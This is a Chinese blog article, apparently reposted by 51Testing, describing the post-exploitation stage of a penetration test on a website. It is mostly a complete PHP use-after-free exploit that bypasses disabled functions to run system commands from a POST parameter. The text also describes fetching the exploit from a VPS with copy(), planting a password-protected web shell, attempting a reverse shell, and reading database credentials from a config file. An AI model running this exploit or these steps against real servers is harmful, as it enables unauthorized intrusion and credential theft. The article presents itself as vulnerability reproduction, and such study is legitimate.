一次简单的渗透测试过程,快来完善自己的网站(下)

发表于:2021-8-19 09:35

字体: | 上一篇 | 下一篇 | 我要投稿

 作者:IT影子    来源:掘金

  GetShell
  那么就直接通过上传exploit的方式来拿shell吧,这里拿BackTrace UAF 的 exploit 来打吧。
  <?php
  # Author: https://github.com/mm0r1
  pwn($_POST["pass"]);
  function pwn($cmd) {
      global $abc, $helper, $backtrace;
      class Vuln {
          public $a;
          public function __destruct() { 
              global $backtrace; 
              unset($this->a);
              $backtrace = (new Exception)->getTrace(); # ;)
              if(!isset($backtrace[1]['args'])) { # PHP >= 7.4
                  $backtrace = debug_backtrace();
              }
          }
      }
      class Helper {
          public $a, $b, $c, $d;
      }
      function str2ptr(&$str, $p = 0, $s = 8) {
          $address = 0;
          for($j = $s-1; $j >= 0; $j--) {
              $address <<= 8;
              $address |= ord($str[$p+$j]);
          }
          return $address;
      }
      function ptr2str($ptr, $m = 8) {
          $out = "";
          for ($i=0; $i < $m; $i++) {
              $out .= chr($ptr & 0xff);
              $ptr >>= 8;
          }
          return $out;
      }
      function write(&$str, $p, $v, $n = 8) {
          $i = 0;
          for($i = 0; $i < $n; $i++) {
              $str[$p + $i] = chr($v & 0xff);
              $v >>= 8;
          }
      }
      function leak($addr, $p = 0, $s = 8) {
          global $abc, $helper;
          write($abc, 0x68, $addr + $p - 0x10);
          $leak = strlen($helper->a);
          if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
          return $leak;
      }
      function parse_elf($base) {
          $e_type = leak($base, 0x10, 2);
          $e_phoff = leak($base, 0x20);
          $e_phentsize = leak($base, 0x36, 2);
          $e_phnum = leak($base, 0x38, 2);
          for($i = 0; $i < $e_phnum; $i++) {
              $header = $base + $e_phoff + $i * $e_phentsize;
              $p_type  = leak($header, 0, 4);
              $p_flags = leak($header, 4, 4);
              $p_vaddr = leak($header, 0x10);
              $p_memsz = leak($header, 0x28);
              if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write
                  # handle pie
                  $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
                  $data_size = $p_memsz;
              } else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec
                  $text_size = $p_memsz;
              }
          }
          if(!$data_addr || !$text_size || !$data_size)
              return false;
          return [$data_addr, $text_size, $data_size];
      }
      function get_basic_funcs($base, $elf) {
          list($data_addr, $text_size, $data_size) = $elf;
          for($i = 0; $i < $data_size / 8; $i++) {
              $leak = leak($data_addr, $i * 8);
              if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                  $deref = leak($leak);
                  # 'constant' constant check
                  if($deref != 0x746e6174736e6f63)
                      continue;
              } else continue;
              $leak = leak($data_addr, ($i + 4) * 8);
              if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                  $deref = leak($leak);
                  # 'bin2hex' constant check
                  if($deref != 0x786568326e6962)
                      continue;
              } else continue;
              return $data_addr + $i * 8;
          }
      }
      function get_binary_base($binary_leak) {
          $base = 0;
          $start = $binary_leak & 0xfffffffffffff000;
          for($i = 0; $i < 0x1000; $i++) {
              $addr = $start - 0x1000 * $i;
              $leak = leak($addr, 0, 7);
              if($leak == 0x10102464c457f) { # ELF header
                  return $addr;
              }
          }
      }
      function get_system($basic_funcs) {
          $addr = $basic_funcs;
          do {
              $f_entry = leak($addr);
              $f_name = leak($f_entry, 0, 6);
              if($f_name == 0x6d6574737973) { # system
                  return leak($addr + 8);
              }
              $addr += 0x20;
          } while($f_entry != 0);
          return false;
      }
      function trigger_uaf($arg) {
          # str_shuffle prevents opcache string interning
          $arg = str_shuffle(str_repeat('A', 79));
          $vuln = new Vuln();
          $vuln->a = $arg;
      }
      if(stristr(PHP_OS, 'WIN')) {
          die('This PoC is for *nix systems only.');
      }
      $n_alloc = 10; # increase this value if UAF fails
      $contiguous = [];
      for($i = 0; $i < $n_alloc; $i++)
          $contiguous[] = str_shuffle(str_repeat('A', 79));
      trigger_uaf('x');
      $abc = $backtrace[1]['args'][0];
      $helper = new Helper;
      $helper->b = function ($x) { };
      if(strlen($abc) == 79 || strlen($abc) == 0) {
          die("UAF failed");
      }
      # leaks
      $closure_handlers = str2ptr($abc, 0);
      $php_heap = str2ptr($abc, 0x58);
      $abc_addr = $php_heap - 0xc8;
      # fake value
      write($abc, 0x60, 2);
      write($abc, 0x70, 6);
      # fake reference
      write($abc, 0x10, $abc_addr + 0x60);
      write($abc, 0x18, 0xa);
      $closure_obj = str2ptr($abc, 0x20);
      $binary_leak = leak($closure_handlers, 8);
      if(!($base = get_binary_base($binary_leak))) {
          die("Couldn't determine binary base address");
      }
      if(!($elf = parse_elf($base))) {
          die("Couldn't parse ELF header");
      }
      if(!($basic_funcs = get_basic_funcs($base, $elf))) {
          die("Couldn't get basic_functions address");
      }
      if(!($zif_system = get_system($basic_funcs))) {
          die("Couldn't get zif_system address");
      }
      # fake closure object
      $fake_obj_offset = 0xd0;
      for($i = 0; $i < 0x110; $i += 8) {
          write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
      }
      # pwn
      write($abc, 0x20, $abc_addr + $fake_obj_offset);
      write($abc, 0xd0 + 0x38, 1, 4); # internal func type
      write($abc, 0xd0 + 0x68, $zif_system); # internal func handler
      ($helper->b)($cmd);
      exit();
  }
  上传到vps 上后通过 copy('http://vps/1.txt','/tmp/exp.php');来传进去。
  命令可以执行了,尝试反弹shell。普通的bash是没办法执行的,可能权限问题吧。
  其实不难发现,可以通过python命令来尝试拿到shell。
  此处的shell.php 是我通过上面的木马重新写入的,密码改成了cmd。
  下面是尝试通过 从database.php读取到的账号密码来连入数据库
  管理员密码有加密,但依然可以从尝试从后台的代码中捕获加密解密算法,点到为止吧。
  也算是对已有的漏洞知识的一个复现。

      本文内容不用于商业目的,如涉及知识产权问题,请权利人联系51Testing小编(021-64471599-8017),我们将立即处理
《2023软件测试行业现状调查报告》独家发布~

关注51Testing

联系我们

快捷面板 站点地图 联系我们 广告服务 关于我们 站长统计 发展历程

法律顾问:上海兰迪律师事务所 项棋律师
版权所有 上海博为峰软件技术股份有限公司 Copyright©51testing.com 2003-2024
投诉及意见反馈:webmaster@51testing.com; 业务联系:service@51testing.com 021-64471599-8017

沪ICP备05003035号

沪公网安备 31010102002173号